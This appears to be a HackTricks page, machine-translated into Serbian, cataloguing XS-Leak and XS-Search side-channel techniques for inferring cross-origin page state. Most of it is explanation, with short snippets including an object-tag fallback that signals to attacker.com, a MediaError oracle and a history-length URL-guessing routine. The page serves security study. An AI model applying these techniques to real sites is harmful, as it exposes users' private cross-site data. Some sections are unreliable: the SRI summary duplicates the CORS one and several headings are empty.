XS-Search/XS-Leaks

Reading time: 52 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne Informacije

XS-Search je metoda koja se koristi za izvlačenje informacija sa različitih domena koristeći bočne kanale ranjivosti.

Ključne komponente uključene u ovaj napad su:

  • Ranjivi Web: Ciljna veb stranica sa koje se informacije nameravaju izvući.
  • Napadačev Web: Zlonamerna veb stranica koju je kreirao napadač, koju žrtva posećuje, a koja sadrži eksploataciju.
  • Metod Uključivanja: Tehnika koja se koristi za uključivanje Ranjivog Web-a u Napadačev Web (npr. window.open, iframe, fetch, HTML tag sa href, itd.).
  • Tehnika Curjenja: Tehnike koje se koriste za uočavanje razlika u stanju Ranjivog Web-a na osnovu informacija prikupljenih putem metode uključivanja.
  • Stanja: Dva moguća stanja Ranjivog Web-a koja napadač želi da razlikuje.
  • Uočljive Razlike: Opservabilne varijacije na koje se napadač oslanja da bi zaključio stanje Ranjivog Web-a.

Uočljive Razlike

Nekoliko aspekata može se analizirati kako bi se razlikovala stanja Ranjivog Web-a:

  • Status Kod: Razlikovanje između različitih HTTP status kodova sa različitih domena, kao što su greške servera, greške klijenta ili greške autentifikacije.
  • Korišćenje API-ja: Identifikacija korišćenja Web API-ja na stranicama, otkrivajući da li stranica sa različitih domena koristi određeni JavaScript Web API.
  • Preusmeravanja: Otkrivanje navigacija ka različitim stranicama, ne samo HTTP preusmeravanjima, već i onima koje pokreće JavaScript ili HTML.
  • Sadržaj Stranice: Posmatranje varijacija u telu HTTP odgovora ili u pod-resursima stranice, kao što su broj ugnježdenih okvira ili razlike u veličini slika.
  • HTTP Header: Zapažanje prisutnosti ili moguće vrednosti određenog HTTP odgovora, uključujući zaglavlja kao što su X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
  • Vreme: Uočavanje doslednih vremenskih razlika između dva stanja.

Metodi Uključivanja

  • HTML Elementi: HTML nudi različite elemente za uključivanje resursa sa različitih domena, kao što su stilovi, slike ili skripte, primoravajući pregledač da zatraži ne-HTML resurs. Kompilacija potencijalnih HTML elemenata za ovu svrhu može se naći na https://github.com/cure53/HTTPLeaks.
  • Okviri: Elementi kao što su iframe, object i embed mogu direktno ugraditi HTML resurse u napadačevu stranicu. Ako stranica nema zaštitu od uokvirivanja, JavaScript može pristupiti objektu prozora u okviru putem svojstva contentWindow.
  • Iskočne prozore: Metod window.open otvara resurs u novoj kartici ili prozoru, pružajući handle prozora za JavaScript da komunicira sa metodama i svojstvima prema SOP-u. Iskočni prozori, često korišćeni u jedinstvenom prijavljivanju, zaobilaze ograničenja uokvirivanja i kolačića ciljanog resursa. Međutim, moderni pregledači ograničavaju kreiranje iskočnih prozora na određene korisničke akcije.
  • JavaScript Zahtevi: JavaScript omogućava direktne zahteve ka ciljnim resursima koristeći XMLHttpRequests ili Fetch API. Ove metode nude preciznu kontrolu nad zahtevom, kao što je opcija da se prati HTTP preusmeravanje.

Tehnike Curjenja

  • Handler Događaja: Klasična tehnika curenja u XS-Leaks, gde handleri događaja kao što su onload i onerror pružaju uvide o uspehu ili neuspehu učitavanja resursa.
  • Poruke o Greškama: JavaScript izuzeci ili posebne stranice o greškama mogu pružiti informacije o curenju bilo direktno iz poruke o grešci ili razlikovanjem između njene prisutnosti i odsutnosti.
  • Globalna Ograničenja: Fizička ograničenja pregledača, kao što su kapacitet memorije ili druga nametnuta ograničenja pregledača, mogu signalizirati kada je dostignut prag, služeći kao tehnika curenja.
  • Globalno Stanje: Uočljive interakcije sa globalnim stanjima pregledača (npr. interfejs Istorije) mogu se iskoristiti. Na primer, broj unosa u istoriji pregledača može pružiti tragove o stranicama sa različitih domena.
  • Performanse API: Ovaj API pruža detalje o performansama trenutne stranice, uključujući mrežno vreme za dokument i učitane resurse, omogućavajući zaključke o traženim resursima.
  • Čitljiva Svojstva: Neka HTML svojstva su čitljiva sa različitih domena i mogu se koristiti kao tehnika curenja. Na primer, svojstvo window.frame.length omogućava JavaScript-u da prebroji okvire uključene u veb stranicu sa različitih domena.

XSinator Alat i Rad

XSinator je automatski alat za proveru pregledača protiv nekoliko poznatih XS-Leaks objašnjenih u njegovom radu: https://xsinator.com/paper.pdf

Možete pristupiti alatu na https://xsinator.com/

warning

Isključeni XS-Leaks: Morali smo da isključimo XS-Leaks koji se oslanjaju na servisne radnike jer bi ometali druge curenja u XSinator-u. Pored toga, odlučili smo da isključimo XS-Leaks koji se oslanjaju na pogrešne konfiguracije i greške u specifičnoj veb aplikaciji. Na primer, pogrešne konfiguracije CrossOrigin Resource Sharing (CORS), curenje postMessage ili Cross-Site Scripting. Takođe, isključili smo vremenski zasnovane XS-Leaks jer često pate od sporosti, buke i netačnosti.

Tehnike zasnovane na vremenu

Neke od sledećih tehnika će koristiti vreme kao deo procesa za otkrivanje razlika u mogućim stanjima veb stranica. Postoje različiti načini za merenje vremena u veb pregledaču.

Sati: performance.now() API omogućava programerima da dobiju merenja vremena visoke rezolucije.
Postoji značajan broj API-ja koje napadači mogu zloupotrebiti za kreiranje implicitnih satova: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animacije i drugi.
Za više informacija: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Tehnike Handler-a Događaja

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Primer koda pokušava da učita skripte iz JS, ali drugi tagovi kao što su objekti, stilovi, slike, audio takođe mogu biti korišćeni. Štaviše, takođe je moguće direktno injektovati tag i deklarisati onload i onerror događaje unutar taga (umesto da ih injektujete iz JS).

Postoji takođe verzija ovog napada bez skripti:

html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

U ovom slučaju, ako example.com/404 nije pronađen, učitaće se attacker.com/?error.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Ova tehnika je slična prethodnoj, ali napadač će takođe prisiliti neku akciju da traje relevantno vreme kada je odgovor pozitivan ili negativan i izmeriti to vreme.

performance.now + Force heavy task

unload/beforeunload Timing

Vreme potrebno za preuzimanje resursa može se meriti korišćenjem unload i beforeunload događaja. beforeunload događaj se aktivira kada se pregledač sprema da pređe na novu stranicu, dok se unload događaj dešava kada se navigacija zapravo odvija. Vremenska razlika između ova dva događaja može se izračunati kako bi se odredila dužina vremena koje je pregledač potrošio na preuzimanje resursa.

Sandboxed Frame Timing + onload

Primećeno je da u odsustvu Framing Protections, vreme potrebno za učitavanje stranice i njenih podresursa preko mreže može meriti napadač. Ova merenja su obično moguća jer se onload handler iframe-a aktivira tek nakon završetka učitavanja resursa i izvršavanja JavaScript-a. Da bi se zaobišla varijabilnost koju uvodi izvršavanje skripti, napadač može koristiti sandbox atribut unutar <iframe>. Uključivanje ovog atributa ograničava brojne funkcionalnosti, posebno izvršavanje JavaScript-a, čime se olakšava merenje koje je pretežno pod uticajem mrežne performanse.

javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Ako možete izazvati grešku na stranici kada se pristupi ispravnom sadržaju i učiniti da se učita ispravno kada se pristupi bilo kojem sadržaju, onda možete napraviti petlju da izvučete sve informacije bez merenja vremena.
  • Code Example:

Pretpostavimo da možete ubaciti stranicu koja ima tajni sadržaj unutar Iframe-a.

Možete naterati žrtvu da potraži datoteku koja sadrži "flag" koristeći Iframe (na primer, eksploatacijom CSRF-a). Unutar Iframe-a znate da će se onload događaj izvršiti uvek barem jednom. Tada možete promeniti URL iframe-a menjajući samo sadržaj hash-a unutar URL-a.

Na primer:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Ako je prvi URL uspešno učitan, tada, kada promenite deo hash-a URL-a, onload događaj neće biti ponovo aktiviran. Ali ako je stranica imala neku vrstu greške prilikom učitavanja, tada će se onload događaj ponovo aktivirati.

Tada možete razlikovati između ispravno učitane stranice ili stranice koja ima grešku kada se pristupi.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Summary: Ako stranica vraća osetljiv sadržaj, ili sadržaj koji može biti kontrolisan od strane korisnika. Korisnik može postaviti validan JS kod u negativnom slučaju, učitavajući svaki pokušaj unutar <script> tagova, tako da u negativnim slučajevima kod napadača se izvršava, a u afirmativnim slučajevima ništa neće biti izvršeno.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Summary: Cross-Origin Read Blocking (CORB) je bezbednosna mera koja sprečava web stranice da učitavaju određene osetljive resurse sa drugih domena kako bi se zaštitili od napada poput Spectre. Međutim, napadači mogu iskoristiti njeno zaštitno ponašanje. Kada odgovor podložan CORB vrati CORB zaštićen Content-Type sa nosniff i 2xx status kodom, CORB uklanja telo i zaglavlja odgovora. Napadači koji to posmatraju mogu da zaključe kombinaciju status koda (koji označava uspeh ili grešku) i Content-Type (koji označava da li je zaštićen od CORB), što može dovesti do potencijalnog curenja informacija.
  • Code Example:

Proverite link za više informacija o napadu.

onblur

Moguće je učitati stranicu unutar iframe-a i koristiti #id_value da se stranica fokusira na element iframe-a sa naznačenim id, zatim, ako se aktivira onblur signal, ID element postoji.
Možete izvršiti isti napad sa portal tagovima.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Summary: Prikupiti osetljive informacije iz postMessage ili koristiti prisustvo postMessages kao orakl da saznate status korisnika na stranici
  • Code Example: Any code listening for all postMessages.

Aplikacije često koriste postMessage broadcasts za komunikaciju između različitih domena. Međutim, ova metoda može nenamerno izložiti osetljive informacije ako parametar targetOrigin nije pravilno specificiran, omogućavajući bilo kojem prozoru da primi poruke. Štaviše, sam čin primanja poruke može delovati kao orakl; na primer, određene poruke mogu biti poslate samo korisnicima koji su prijavljeni. Stoga, prisustvo ili odsustvo ovih poruka može otkriti informacije o stanju ili identitetu korisnika, kao što je da li su autentifikovani ili ne.

Global Limits Techniques

WebSocket API

Moguće je identifikovati da li, i koliko, WebSocket konekcija koristi ciljana stranica. To omogućava napadaču da otkrije stanje aplikacije i curi informacije vezane za broj WebSocket konekcija.

Ako jedan domen koristi maksimalan broj WebSocket objekata, bez obzira na stanje njihovih konekcija, kreiranje novih objekata će rezultirati JavaScript izuzecima. Da bi izvršio ovaj napad, napadačka stranica otvara ciljan veb u iskačućem prozoru ili iframe-u, a zatim, nakon što se ciljana veb stranica učita, pokušava da kreira maksimalan broj WebSocket konekcija. Broj izbačenih izuzetaka je broj WebSocket konekcija koje koristi ciljana veb stranica.

Payment API

Ova XS-Leak omogućava napadaču da otkrije kada stranica sa drugog domena pokrene zahtev za plaćanje.

Pošto samo jedan zahtev za plaćanje može biti aktivan u isto vreme, ako ciljana veb stranica koristi Payment Request API, svaki dalji pokušaj korišćenja ovog API-ja će propasti i izazvati JavaScript izuzetak. Napadač može iskoristiti ovo tako što će periodično pokušavati da prikaže UI Payment API-ja. Ako jedan pokušaj izazove izuzetak, ciljana veb stranica ga trenutno koristi. Napadač može sakriti ove periodične pokušaje tako što će odmah zatvoriti UI nakon kreiranja.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript funkcioniše na jednonitnom event loop modelu konkurencije, što znači da može izvršiti samo jedan zadatak u isto vreme. Ova karakteristika se može iskoristiti za merenje koliko dugo kod iz drugog domena traje da se izvrši. Napadač može meriti vreme izvršenja svog koda u event loop-u kontinuiranim slanjem događaja sa fiksnim svojstvima. Ovi događaji će biti obrađeni kada je event pool prazan. Ako drugi domeni takođe šalju događaje u isti pool, napadač može zaključiti vreme koje je potrebno da se ovi spoljašnji događaji izvrše posmatrajući kašnjenja u izvršenju svojih zadataka. Ova metoda praćenja event loop-a za kašnjenja može otkriti vreme izvršenja koda iz različitih domena, potencijalno izlažući osetljive informacije.

warning

U merenju vremena izvršenja moguće je eliminisati mrežne faktore kako bi se dobile preciznije merenja. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generalno zbog Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Summary: Jedna metoda za merenje vremena izvršenja veba uključuje namerno blokiranje event loop-a niti i zatim merenje koliko dugo traje da event loop ponovo postane dostupan. Umetanjem blokirajuće operacije (kao što je dugačka računica ili sinhroni API poziv) u event loop, i praćenjem vremena koje je potrebno da započnu izvršenje naredni kod, može se zaključiti trajanje zadataka koji su se izvršavali u event loop-u tokom blokirajućeg perioda. Ova tehnika koristi jednonitnu prirodu JavaScript-ovog event loop-a, gde se zadaci izvršavaju sekvencijalno, i može pružiti uvide u performanse ili ponašanje drugih operacija koje dele istu nit.
  • Code Example:

Značajna prednost tehnike merenja vremena izvršenja blokiranjem event loop-a je njena potencijalna sposobnost da zaobiđe Site Isolation. Site Isolation je bezbednosna funkcija koja razdvaja različite veb stranice u odvojene procese, s ciljem da spreči zlonamerne stranice da direktno pristupaju osetljivim podacima sa drugih stranica. Međutim, utičući na vreme izvršenja drugog domena kroz zajednički event loop, napadač može indirektno izvući informacije o aktivnostima tog domena. Ova metoda ne zavisi od direktnog pristupa podacima drugog domena, već posmatra uticaj aktivnosti tog domena na zajednički event loop, čime se izbegavaju zaštitne barijere koje postavlja Site Isolation.

warning

U merenju vremena izvršenja moguće je eliminisati mrežne faktore kako bi se dobile preciznije merenja. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generalno zbog Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Summary: Napadač može zaključati sve sokete osim 1, učitati ciljani veb i u isto vreme učitati drugu stranicu, vreme do kada poslednja stranica počinje da se učitava je vreme koje je ciljana stranica uzela da se učita.
  • Code Example:

Connection Pool Examples

Pregledači koriste sokete za komunikaciju sa serverom, ali zbog ograničenih resursa operativnog sistema i hardvera, pregledači su primorani da postave limit na broj istovremenih soketa. Napadači mogu iskoristiti ovo ograničenje kroz sledeće korake:

  1. Utvrditi limit soketa pregledača, na primer, 256 globalnih soketa.
  2. Zauzeti 255 soketa na duži period pokretanjem 255 zahteva ka različitim hostovima, dizajniranim da drže konekcije otvorenim bez završavanja.
  3. Iskoristiti 256. soket za slanje zahteva ka ciljanom vebu.
  4. Pokušati 257. zahtev ka drugom hostu. S obzirom na to da su svi soketi u upotrebi (prema koracima 2 i 3), ovaj zahtev će biti u redu dok se ne oslobodi soket. Kašnjenje pre nego što ovaj zahtev prođe daje napadaču informaciju o vremenu mrežne aktivnosti vezane za 256. soket (soket ciljanog veba). Ova pretpostavka je moguća jer je 255 soketa iz koraka 2 još uvek angažovano, što implicira da svaki novi dostupni soket mora biti onaj oslobođen iz koraka 3. Vreme koje je potrebno da 256. soket postane dostupan je tako direktno povezano sa vremenom potrebnim da se zahtev za ciljani veb završi.

Za više informacija: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generalno zbog Page Content, Status Code)
  • More info:
  • Summary: Slično prethodnoj tehnici, ali umesto korišćenja svih soketa, Google Chrome postavlja limit od 6 istovremenih zahteva ka istom poreklu. Ako blokiramo 5 i zatim pokrenemo 6. zahtev, možemo izmeriti vreme i ako smo uspeli da nateramo stranicu žrtve da pošalje više zahteva ka istom kraju da otkrijemo status stranice, 6. zahtev će trajati duže i možemo to otkriti.

Performance API Techniques

Performance API nudi uvide u performanse web aplikacija, dodatno obogaćen Resource Timing API. Resource Timing API omogućava praćenje detaljnih vremenskih podataka mrežnih zahteva, kao što je trajanje zahteva. Značajno je da kada serveri uključuju Timing-Allow-Origin: * zaglavlje u svojim odgovorima, dodatni podaci poput veličine prenosa i vremena pretrage domena postaju dostupni.

Ova bogatstvo podataka može se dobiti putem metoda kao što su performance.getEntries ili performance.getEntriesByName, pružajući sveobuhvatan pregled informacija vezanih za performanse. Pored toga, API olakšava merenje vremena izvršenja izračunavanjem razlike između vremenskih oznaka dobijenih iz performance.now(). Međutim, vredi napomenuti da za određene operacije u pregledačima poput Chrome-a, preciznost performance.now() može biti ograničena na milisekunde, što može uticati na preciznost merenja vremena.

Pored merenja vremena, Performance API se može iskoristiti za uvide vezane za bezbednost. Na primer, prisustvo ili odsustvo stranica u performance objektu u Chrome-u može ukazivati na primenu X-Frame-Options. Konkretno, ako je stranica blokirana od renderovanja u okviru zbog X-Frame-Options, ona neće biti zabeležena u performance objektu, pružajući suptilan trag o politikama uokvirivanja stranice.

Error Leak

Moguće je razlikovati između HTTP status kodova jer zahtevi koji dovode do greške ne kreiraju unos performansi.

Style Reload Error

U prethodnoj tehnici takođe su identifikovana dva slučaja gde greške u GC dovode do učitavanja resursa dvaput kada ne uspeju da se učitaju. To će rezultirati višestrukim unosima u Performance API i tako se može otkriti.

Request Merging Error

Tehnika je pronađena u tabeli u pomenutom radu, ali nije pronađen opis tehnike. Međutim, možete pronaći izvorni kod koji to proverava na https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Napadač može otkriti da li je zahtev rezultirao praznim HTTP odgovorom jer prazne stranice ne kreiraju unos performansi u nekim pregledačima.

XSS-Auditor Leak

U Security Assertions (SA), XSS Auditor, prvobitno namenjen za sprečavanje napada Cross-Site Scripting (XSS), može paradoksalno biti iskorišćen za curenje osetljivih informacija. Iako je ova ugrađena funkcija uklonjena iz Google Chrome-a (GC), još uvek je prisutna u SA. Godine 2013, Braun i Heiderich su pokazali da XSS Auditor može nenamerno blokirati legitimne skripte, dovodeći do lažnih pozitivnih rezultata. Oslanjajući se na ovo, istraživači su razvili tehnike za ekstrakciju informacija i otkrivanje specifičnog sadržaja na stranicama sa drugog domena, koncept poznat kao XS-Leaks, prvobitno izvešten od strane Terade i razrađen od strane Heyesa u blog postu. Iako su ove tehnike bile specifične za XSS Auditor u GC, otkriveno je da u SA, stranice blokirane od strane XSS Auditor-a ne generišu unose u Performance API, otkrivajući metodu putem koje osetljive informacije mogu i dalje biti otkrivene.

X-Frame Leak

Ako stranica nije dozvoljena da bude renderovana u iframe-u, ona ne kreira unos performansi. Kao rezultat, napadač može otkriti zaglavlje odgovora X-Frame-Options.
Isto se dešava ako koristite embed tag.

Download Detection

Slično, kao što je opisano u XS-Leak, resurs koji se preuzima zbog zaglavlja ContentDisposition, takođe ne kreira unos performansi. Ova tehnika funkcioniše u svim glavnim pregledačima.

Redirect Start Leak

Pronašli smo jedan XS-Leak primer koji zloupotrebljava ponašanje nekih pregledača koji beleže previše informacija za zahteve sa drugih domena. Standard definiše podskup atributa koji bi trebali biti postavljeni na nulu za resurse sa drugih domena. Međutim, u SA je moguće otkriti da li je korisnik preusmeren od strane ciljne stranice, upitom u Performance API i proverom za redirectStart vremenske podatke.

Duration Redirect Leak

U GC, trajanje za zahteve koji rezultiraju preusmeravanjem je negativno i tako se može razlikovati od zahteva koji ne rezultiraju preusmeravanjem.

CORP Leak

U nekim slučajevima, nextHopProtocol unos može se koristiti kao tehnika curenja. U GC, kada je CORP zaglavlje postavljeno, nextHopProtocol će biti prazan. Imajte na umu da SA uopšte neće kreirati unos performansi za resurse omogućene CORP-om.

Service Worker

Servisni radnici su skriptni konteksti vođeni događajima koji se izvršavaju na jednom poreklu. Oni rade u pozadini web stranice i mogu presresti, modifikovati i keširati resurse kako bi stvorili offline web aplikaciju.
Ako je resurs keširan od strane servisnog radnika pristupljen putem iframe-a, resurs će biti učitan iz keša servisnog radnika.
Da bi se otkrilo da li je resurs učitan iz keša servisnog radnika, može se koristiti Performance API.
To se takođe može uraditi sa napadom na vreme (proverite rad za više informacija).

Cache

Korišćenjem Performance API moguće je proveriti da li je resurs keširan.

Network Duration

Error Messages Technique

Media Error

javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

The MediaError интерфејс има својство поруке које јединствено идентификује ресурсе који се успешно учитавају са различитим низом. Нападач може искористити ову функцију посматрајући садржај поруке, чиме може закључити статус одговора крос-изворног ресурса.

CORS Greška

  • Методе укључивања: Fetch API
  • Уочљива разлика: Заглавље
  • Више информација: https://xsinator.com/paper.pdf (5.3)
  • Резиме: У Безбедносним Тврђењима (SA), CORS поруке о грешкама ненамерно откривају пуни URL преусмерених захтева.
  • Пример кода: https://xsinator.com/testing.html#CORS%20Error%20Leak

Ова техника омогућава нападачу да извуче одредиште преусмеравања крос-изворне локације искоришћавајући начин на који Webkit-базирани прегледачи обрађују CORS захтеве. Конкретно, када се CORS-ом омогућен захтев пошаље на циљну локацију која издаје преусмеравање на основу стања корисника, а прегледач касније одбије захтев, пуни URL циља преусмеравања се открива у поруци о грешци. Ова рањивост не само да открива чињеницу о преусмеравању, већ и открива крајњу тачку преусмеравања и све осетљиве параметре упита које може садржати.

SRI Greška

  • Методе укључивања: Fetch API
  • Уочљива разлика: Заглавље
  • Више информација: https://xsinator.com/paper.pdf (5.3)
  • Резиме: У Безбедносним Тврђењима (SA), CORS поруке о грешкама ненамерно откривају пуни URL преусмерених захтева.
  • Пример кода: https://xsinator.com/testing.html#SRI%20Error%20Leak

Нападач може искористити опширне поруке о грешкама да закључи величину крос-изворних одговора. Ово је могуће због механизма Интегритета Подресурса (SRI), који користи атрибут интегритета да потврди да ресурси преузети, често из CDN-ова, нису модификовани. Да би SRI радио на крос-изворним ресурсима, они морају бити CORS-ом омогућени; у противном, нису подложни проверама интегритета. У Безбедносним Тврђењима (SA), слично као CORS грешка XS-Leak, порука о грешци може бити ухваћена након што захтев за преузимање са атрибутом интегритета не успе. Нападачи могу намерно изазвати ову грешку додељујући лажну хеш вредност атрибуту интегритета било ког захтева. У SA, резултујућа порука о грешци ненамерно открива дужину садржаја захтеваног ресурса. Ово curenje информација омогућава нападачу да разликује варијације у величини одговора, отварајући пут за сложене XS-Leak нападе.

CSP Повреда/Детекција

XS-Leak може користити CSP за детекцију да ли је крос-изворна локација преусмерена на другу локацију. Овај leak може детектовати преусмеравање, али поред тога, домен циља преусмеравања се открива. Основна идеја овог напада је да дозволи циљни домен на локацији нападача. Када се изда захтев за циљни домен, он преусмерава на крос-изворни домен. CSP блокира приступ томе и генерише извештај о повреди који се користи као техника curenja. У зависности од прегледача, овaj извештај може открити циљну локацију преусмеравања.
Савремени прегледачи неће указати на URL на који је преусмерено, али и даље можете детектовати да је крос-изворно преусмеравање активирано.

Keš

Прегледачи могу користити један zajednički кеш за све веб локације. Без обзира на њихов извор, могуће је закључити да ли је циљна страница захтевала одређену датотеку.

Ако страница учита слику само ако је корисник пријављен, можете неважећи ресурс (тако да више није кеширан ако је био, погледајте више информација), извршити захтев који би могао учитати тај ресурс и покушати да учита ресурс са лошим захтевом (нпр. користећи прекратак реферер заглавље). Ако учитавање ресурса није активирало ниједну грешку, то је зато што је кеширан.

CSP Директива

Нова функција у Google Chrome (GC) омогућава веб страницама да предложе Политику Безбедности Садржаја (CSP) постављањем атрибута на iframe елемент, са директивама политике које се преносе заједно са HTTP захтевом. Обично, уграђени садржај мора да овласти ово преко HTTP заглавља, или ће се показати страница о грешци. Међутим, ако је iframe већ под контролом CSP и ново предложена политика није строжа, страница ће се учитати нормално. Овај механизам отвара пут за нападача да открије специфичне CSP директиве крос-изворне странице идентификовањем странице о грешци. Иако је ова рањивост обележена као исправљена, наша открића откривају нову технику curenja способну да детектује страницу о грешци, што сугерише да проблем није никада у потпуности решен.

CORP

CORP заглавље је релативно нова функција безбедности веб платформе која, када је постављена, блокира крос-изворне захтеве без CORS-а за дати ресурс. Присуство заглавља може се детектовати, јер ресурс заштићен CORP избацује грешку када се преузме.

CORB

Проверите линк за више информација о нападу.

CORS грешка на конфигурацији одраза порекла

У случају да се Origin заглавље одражава у заглављу Access-Control-Allow-Origin, нападач може злоупотребити ово понашање да покуша да преузме ресурс у CORS режиму. Ако грешка није активирана, то значи да је исправно преузета са веба, ако је грешка активирана, то је зато што је приступљена из кеша (грешка се појављује јер кеш чува одговор са CORS заглављем које дозвољава оригиналном домену, а не домену нападача).
Имајте на уму да ако се порекло не одражава, али се користи дики (Access-Control-Allow-Origin: *), ово неће функционисати.

Техника читљивих атрибута

Fetch Преусмеравање

Подношењем захтева користећи Fetch API са redirect: "manual" и другим параметрима, могуће је прочитати атрибут response.type и ако је једнак opaqueredirect, онда је одговор био преусмеравање.

COOP

Нападач може закључити присуство заглавља Политике Отварача Крос-Извора (COOP) у крос-изворном HTTP одговору. COOP се користи од стране веб апликација да спречи спољне локације да добију произвољне референце на прозоре. Видљивост овог заглавља може се утврдити покушавањем да се приступи contentWindow референци. У сценаријима где се COOP примењује условно, opener својство постаје индикатор: оно је неодређено када је COOP активан, а дефинисано у одсуству.

URL Максимална Дужина - Серверска Страна

Ако серверско преусмеравање користи кориснички унос у преусмеравању и додатне податке. Могуће је детектовати ово понашање јер обично сервери имају ограничење дужине захтева. Ако је кориснички податак те дужине - 1, јер преусмеравање користи те податке и додаје нешто додатно, активираће грешку детектујућу преко Догађаја о Грешкама.

Ако можете на неки начин поставити колачиће кориснику, можете такође извршити овај напад постављајући довољно колачића (колачић бомба) тако да са увећаном величином одговора исправног одговора буде активирана грешка. У овом случају, запамтите да ако активирате овај захтев са исте локације, <script> ће аутоматски послати колачиће (тако да можете проверити грешке).
Пример колачић бомбе + XS-Search може се наћи у Намераној решењу овог текста: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None или да буде у истом контексту обично је потребно за ову врсту напада.

URL Максимална Дужина - Клијентска Страна

Према Chromium документацији, максимална дужина URL-а у Chrome-у је 2MB.

Уопштено, веб платформа нема ограничења на дужину URL-ова (иако је 2^31 уобичајено ограничење). Chrome ограничава URL-ове на максималну дужину од 2MB из практичних разлога и да избегне проблеме са одбијањем услуге у комуникацији између процеса.

Стога, ако је одговор на преусмеравање већи у једном од случајева, могуће је учинити да се преусмери са URL-ом већим од 2MB да би се достигло ограничење дужине. Када се то догоди, Chrome приказује страницу about:blank#blocked.

Уочљива разлика је да ако је преусмеравање било завршено, window.origin избацује грешку јер крос-извор не може да приступи тим информацијама. Међутим, ако је ограничење достигнуто и учитана страница је about:blank#blocked, origin прозора остаје онај од родитеља, што је приступачна информација.

Све додатне информације потребне за достићи 2MB могу се додати преко хаша у иницијалном URL-у тако да ће бити коришћене у преусмеравању.

URL Max Length - Client Side

Максимални Преусмеравања

Ако је максимални број преусмеравања које прегледач може да прати 20, нападач може покушати да учита своју страницу са 19 преусмеравања и на крају пошаље жртву на тестираној страници. Ако се грешка активира, онда је страница покушавала да преусмери жртву.

Дужина Историје

History API омогућава JavaScript коду да манипулише историјом прегледача, која чува странице које је корисник посетио. Нападач може користити својство дужине као методу укључивања: да детектује JavaScript и HTML навигацију.
Проверавајући history.length, терајући корисника да наведе на страницу, враћајући се назад на исто порекло и проверавајући нову вредност history.length.

Дужина Историје са истим URL-ом

  • Методе укључивања: Фрејмови, Поп-упови
  • Уочљива разлика: Ако је URL исти као погодио
  • Резиме: Могуће је погодити да ли се локација фрејма/поп-упа налази на одређеном URL-у злоупотребом дужине историје.
  • Пример кода: Испод

Нападач може користити JavaScript код да манипулише локацијом фрејма/pop-up-а на погодио и одмах промени на about:blank. Ако се дужина историје повећала, то значи да је URL био тачан и да је имао времена да порасте јер URL није поново учитан ако је исти. Ако се није повећала, то значи да је покушао да учита погодио URL, али зато што смо одмах после учитали about:blank, дужина историје никада није повећана при учитавању погодио URL.

javascript
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Brojanje Okvira

Brojanje broja okvira na web stranici otvorenoj putem iframe ili window.open može pomoći u identifikaciji statusa korisnika na toj stranici.
Štaviše, ako stranica uvek ima isti broj okvira, kontinuirano proveravanje broja okvira može pomoći u identifikaciji obraza koji može otkriti informacije.

Primer ove tehnike je da se u Chrome-u, PDF može otkriti pomoću brojanja okvira jer se embed koristi interno. Postoje Open URL Parameters koji omogućavaju određenu kontrolu nad sadržajem kao što su zoom, view, page, toolbar gde bi ova tehnika mogla biti zanimljiva.

